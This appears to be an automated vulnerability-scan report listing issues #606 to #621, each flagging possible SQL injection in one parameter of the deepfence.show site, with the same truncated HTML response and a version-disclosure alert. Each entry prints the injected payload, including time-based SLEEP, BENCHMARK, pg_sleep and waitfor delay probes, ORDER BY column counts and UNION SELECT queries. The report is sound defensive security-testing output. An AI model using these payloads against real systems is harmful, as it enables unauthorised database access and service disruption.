Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #606
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A')),4,5,6#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #607
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" or ""*"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #608
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 18#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #609Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A
')),4,5,6,7,8,9
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #610
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 4#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #611
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ')) or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #612
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 16
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #613
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 13--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #614
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" or "" "
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #615
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@deepfence.io ");waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #616
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.ioCWE-ID CWE-89
Issue Number #617
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #618
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AS INJECTX WHERE 1=1 AND 1=0--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #619
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #620Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #621
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
